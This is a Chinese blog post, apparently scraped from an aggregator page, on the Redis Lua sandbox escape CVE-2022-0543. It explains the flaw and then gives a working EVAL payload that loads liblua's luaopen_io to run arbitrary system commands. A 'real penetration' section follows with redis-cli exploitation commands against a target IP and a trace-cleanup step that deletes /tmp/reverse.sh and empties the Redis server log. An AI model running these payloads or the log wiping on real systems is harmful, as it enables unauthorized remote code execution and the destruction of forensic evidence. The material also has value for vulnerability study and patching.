当前位置: 首页 > news >正文

Redis沙盒逃逸(CVE-2022-0543)

一.沙箱的含义

沙箱是一种安全机制,限制程序只能访问特定资源,防止恶意操作影响系统。

场景

沙箱作用

浏览器沙箱

网页代码只能操作浏览器,无法直接读写本地文件

游戏沙箱

外挂程序无法修改游戏内存

Redis Lua 沙箱

Lua 脚本无法执行系统命令、访问文件系统

关系图

物理机

├── 容器 A(Docker)

│ └── Redis 进程

│ └── Lua 沙箱 ←── 你的漏洞在这层突破

│ └── 恶意脚本(理论上只能操作 Redis)

└── 容器 B(其他应用)

1.什么是redis

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。

2.春秋

这里可以进行ssrf,跳转到baidu页面

直接使用file://协议进行读取flag

3.漏洞复现

漏洞原理

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linugnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

Redis 5.0.7 的 Lua 沙箱

├── 禁用了 io/os 等危险库(loadlib 被限制)

└── 但漏洞:package.loadlib() 仍可加载外部动态库

攻击路径:

package.loadlib() → 加载系统 liblua5.1.so → 导出 luaopen_io

→ 获得 io.popen() → 执行任意系统命令

复现

payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

代码片段

作用

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io")

加载系统 Lua 库,获取luaopen_io函数(沙箱禁用的危险函数)

local io = io_l()

调用函数初始化 IO 模块,获得io.popen等危险方法

local f = io.popen("id", "r")

执行系统命令id,返回文件句柄

local res = f:read("*a")

读取命令全部输出

f:close()

关闭文件句柄

return res

将结果返回给 Redis 客户端

0

声明脚本操作 0 个 Redis 键(绕过键名检查)

修改红色部分就可以执行命令了

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami"); local res = f:read("*a"); f:close(); return res' 0

关键风险点

要素

说明

无需认证

Redis 未设置密码或已认证

远程 RCE

网络可达即可执行系统命令

服务权限

通常以redis用户运行,但可尝试提权

隐蔽性

利用 Lua 脚本,不写入磁盘

二.实战渗透

1.信息收集

# 确认目标存在且版本 vulnerable redis-cli -h 192.168.40.128 -p 6379 INFO server | grep redis_version # 期望:5.0.7 或 5.0.6 等 < 5.0.8 的版本

2.验证漏洞存在

redis-cli -h 192.168.40.128 -p 6379 EVAL 'return "test"' 0 # 确保 EVAL 命令可用,Lua 引擎正常

3.漏洞利用

redis-cli -h 192.168.40.128 -p 6379 EVAL ' local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res ' 0

4.清理痕迹

# 删除临时文件 EVAL '... io.popen("rm -f /tmp/reverse.sh") ...' 0 # 清空 Redis 日志(如有权限) EVAL '... io.popen("echo > /var/log/redis/redis-server.log 2>/dev/null") ..
http://www.jsqmd.com/news/1244765/

相关文章:

  • C++ STL 完整入门笔记[3]:vector底层剖析 附杨辉三角实战
  • 天津靠谱的无铁芯直线电机有铁芯直线电机订购厂家选购指南 - 品牌优推
  • L3级自动驾驶为何不可跳过:技术、法规与用户信任的平衡
  • 雅典中国售后服务中心|全新维修地址和电话权威信息公告(2026年7月最新) - 亨得利官方服务中心
  • LVSum基准实践指南:多模态大模型长视频时间感知摘要评估
  • 2026抖音去水印保存教程,个人收藏学习这样保存 - 免费软件工具方法教程
  • Excel字符编码转换:CHAR与CODE函数实战指南
  • Go语言实现XOR加密:10分钟掌握流密码核心原理与工程实践
  • 2026最新5款Cursor平替之选深度实测
  • Cortex-M4F内存映射、位带操作与中断机制深度解析
  • GLM与Kimi编程工具对比:代码生成、调试与部署实战指南
  • Python调用AI大模型API实现高效求职文档生成
  • 亲身到店体验福州亨得利名表服务中心|服务热线及全部维修地址(2026年7月更新) - 亨得利官方
  • Unity导出透明背景PNG全攻略:解决背景不透明与尺寸偏差
  • 权威发布:宇舶金华2026年7月最新地址与热线,售后客户服务信息 - 亨得利钟表维修中心
  • 亲身到店探访深圳亨得利名表服务中心|最新地址及服务热线(2026年7月更新) - 亨得利官方
  • HarmonyOS 应用开发《掌上英语》第34篇:多媒体播放状态机:AVPlayer 的生命周期管理
  • 宝玑保养价格查询|热线和门店地址权威信息公告(2026年7月最新) - 亨得利官方服务中心
  • 深度学习效率:慢学习背后的认知科学与实践策略
  • C++ 静态反射序列化代码自动生成
  • Python三方库鸿蒙PC移植指南PPT
  • 焕新:推荐一下华中建筑模板工厂 - 品牌推广大师
  • 2026最新6款AI编程工具免费付费深度对比
  • 2026年依旧管用:抖音保存无水印视频方法,两种个人收藏方案全解析 - 免费软件工具方法教程
  • DDIM技术解析:扩散模型加速与AIGC应用实践
  • AI如何通过智能数据聚合与验证重塑学术写作
  • 2026年山东地区实用离线消费机生产厂家选购指南 - 品牌优推
  • 了解风管防火阀源头厂家优点 轻松做好工程采购决策 - 品牌优推
  • 2026免费视频去水印工具怎么选?电脑手机在线方法实测 - 免费软件工具方法教程
  • 微信视频号视频保存到相册方法,2026实测存视频教程 - 免费软件工具方法教程